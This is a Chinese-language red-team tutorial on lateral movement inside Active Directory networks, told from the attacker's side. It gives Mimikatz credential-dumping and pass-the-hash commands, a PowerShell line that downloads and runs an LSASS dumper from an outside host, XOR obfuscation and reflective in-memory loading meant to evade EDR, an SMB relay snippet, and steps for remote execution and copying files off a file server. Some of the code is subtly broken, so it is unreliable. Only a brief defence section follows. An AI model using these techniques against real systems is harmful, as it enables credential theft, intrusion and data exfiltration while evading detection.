一、从防守到攻击:横向移动为何成为内网杀手锏
在企业网络安全防御中,横向移动是红队攻击的关键环节。即使边界防护做得再严密,一旦攻击者成功突破内网,横向移动能力将决定其对整个网络的掌控程度。为了理解攻击者的行为,防守者需要反推其可能采取的路径。攻击者通常的目标包括:
- 突破权限边界:从普通用户窃取域管理员权限。
- 资产横向扩展:从一个主机跳跃到更重要的服务器。
- 数据集中收割:锁定目标数据并完成窃取、加密或破坏。
攻击者完成这些步骤的基础在于对目标环境的深度掌握。接下来,我们将从攻击者的视角,剖析如何利用横向移动技术,逐步控制内网环境。
---
二、环境搭建:复现企业内网场景
为了让技术更贴近实战,我们需要构建一个模拟的企业内网环境。以下是推荐的实验环境:
实验环境需求
- 目标系统:至少包含一台域控、一台普通员工主机和一台文件服务器。
- 网络拓扑:所有主机处于同一内网子网,使用 Active Directory 域。
- 工具配置:
- 攻击工具:Cobalt Strike 或 Sliver
- 编程环境:Python 3.9 和 PowerShell
- 测试工具:Impacket(用于协议利用)
环境搭建步骤
- 创建域控服务器(Windows Server 2019),配置 Active Directory。
- 使用 Windows 10/11 创建域内普通员工主机,加入域。
- 部署文件服务器,并放置测试数据。
- 配置防火墙规则,允许 SMB 和 RDP 等协议内部通信。
搭建完成后,你将拥有一个完整的模拟内网环境,可以开始测试横向移动技巧。
---
三、横向移动的核心:凭证窃取与利用
横向移动的前提是获取目标用户的凭证。以下是攻击者可以采用的几种实战方法:

1. 使用Mimikatz窃取凭证
Mimikatz 是红队攻击中的经典工具,用于提取用户凭证。它能够抓取内存中的明文密码、哈希值等。
命令示例
<pre><code class="language-plaintext">privilege::debug sekurlsa::logonpasswords</code></pre>
通过上述指令,攻击者可以获取当前登录用户的密码或 NTLM 哈希。然后这些凭证可以用于 Pass-the-Hash 攻击。
2. 利用LSASS内存注入
攻击者可以直接注入 LSASS 进程,并将凭证导出。这种方法通常结合 PowerShell 使用:
<pre><code class="language-powershell"># 使用 PowerShell 脚本加载 Dumpert Invoke-WebRequest -Uri "http://example.com/dumpert.exe" -OutFile "dumpert.exe" Start-Process "dumpert.exe"</code></pre>
这种方式对抗 EDR 检测时,建议将 Dumpert 二进制进行混淆处理。
3. 坐享其成:Sniffing SMB会话
如果目标用户正在使用 SMB 或 RDP,我们可以监听内网流量,直接抓取其会话凭证。
以下是使用 Impacket 抓取 NTLM 会话的示例代码:
<pre><code class="language-python">from impacket.examples.ntlmrelayx.servers import SMBRelayServer
配置 SMBRelayServer 监听
server = SMBRelayServer() server.start()</code></pre>
攻击者可以通过中间人攻击获取认证信息,用于后续横向渗透。
---
四、潜伏技术:免杀与绕过EDR
横向移动过程中,攻防对抗的核心在于如何保证载荷隐匿,避免被EDR捕获。以下是一些有效的免杀与流量伪装技巧:
1. 二进制混淆
攻击载荷(如 Mimikatz、恶意 DLL)通常需要混淆以绕过静态分析。以下是一个 Python 实现的恶意载荷混淆代码:
<pre><code class="language-python">def obfuscate_payload(payload): obfuscated = ''.join([chr(ord(char) ^ 0x55) for char in payload]) return obfuscated
使用混淆后的载荷
payload = open('mimikatz.exe', 'rb').read() obfuscated_payload = obfuscate_payload(payload)
保存到文件
with open('mimikatz_obfuscated.exe', 'wb') as file: file.write(obfuscated_payload)</code></pre>
2. 内存加载技术
避免直接落地载荷,而是采用内存加载方式执行。以下是 PowerShell 实现:
<pre><code class="language-powershell"># 使用 PowerShell 的反射加载 DLL $DLL = [System.IO.File]::ReadAllBytes("mimikatz.dll") $Assembly = [System.Reflection.Assembly]::Load($DLL) $Method = $Assembly.GetType("Mimikatz.Program").GetMethod("Run") $Method.Invoke($null, $null)</code></pre>
通过这种方式,恶意代码仅在内存中运行,极大降低被检测的概率。

---
五、实战案例:从普通用户到域管理员
以下是一个完整的实战流程,展示如何通过横向移动逐步提升权限:
攻击步骤
- 信息收集:通过 LDAP 查询域用户和计算机信息。
<pre><code class="language-python"> from ldap3 import Server, Connection, ALL server = Server('ldap://192.168.1.10', get_info=ALL) conn = Connection(server, user='user', password='pass', auto_bind=True) conn.search('dc=example,dc=com', '(objectClass=person)', attributes=['cn', 'sAMAccountName']) print(conn.entries) `
- 凭证窃取:使用 Mimikatz 抓取普通用户的密码。
`plaintext sekurlsa::logonpasswords `
- 横向移动:利用 SMB 或 WMI 执行远程代码。
`powershell Invoke-Command -ComputerName "Target-PC" -ScriptBlock {Get-Process} `

- 权限提升:尝试域管理员账号的 Pass-the-Hash 攻击。
`plaintext sekurlsa::pth /user:Administrator /domain:example.com /ntlm:<hash> `
- 数据窃取:定位敏感文件并下载。
`powershell Copy-Item "\\fileserver\shared\Reports" -Destination "C:\Users\Public\Reports" `
---
六、检测与防御:如何阻击攻击者
从防御角度来看,以下技术可以有效降低横向移动攻击的风险:
1. 开启 LSASS 保护
通过启用 Windows 的受保护进程机制,避免凭证被直接抓取。

2. 禁用 SMBv1
关闭 SMBv1,减少攻击者利用过时协议窃取认证信息的机会。
3. 加强日志监控
配置 SIEM 系统实时监控 PowerShell、WMI 调用和横向移动行为。例如:</code></pre>plaintext Event ID 4688: New Process Creation Event ID 4624: Logon Events `
---
七、个人经验:如何打造强大的横向移动链
在多年的红队实战中,我发现以下几点非常重要:
- 多工具配合:不要局限于单个工具,可以组合使用 Cobalt Strike 和 Impacket。
- 专注免杀:载荷的隐匿性是横向移动成功的保障,投入时间研究混淆技术。
- 伪装流量:通过协议伪装,使通讯看起来像合法行为。
横向移动不仅是技术,更是一门艺术。只有在实战中不断打磨,才能成为真正的内网渗透高手。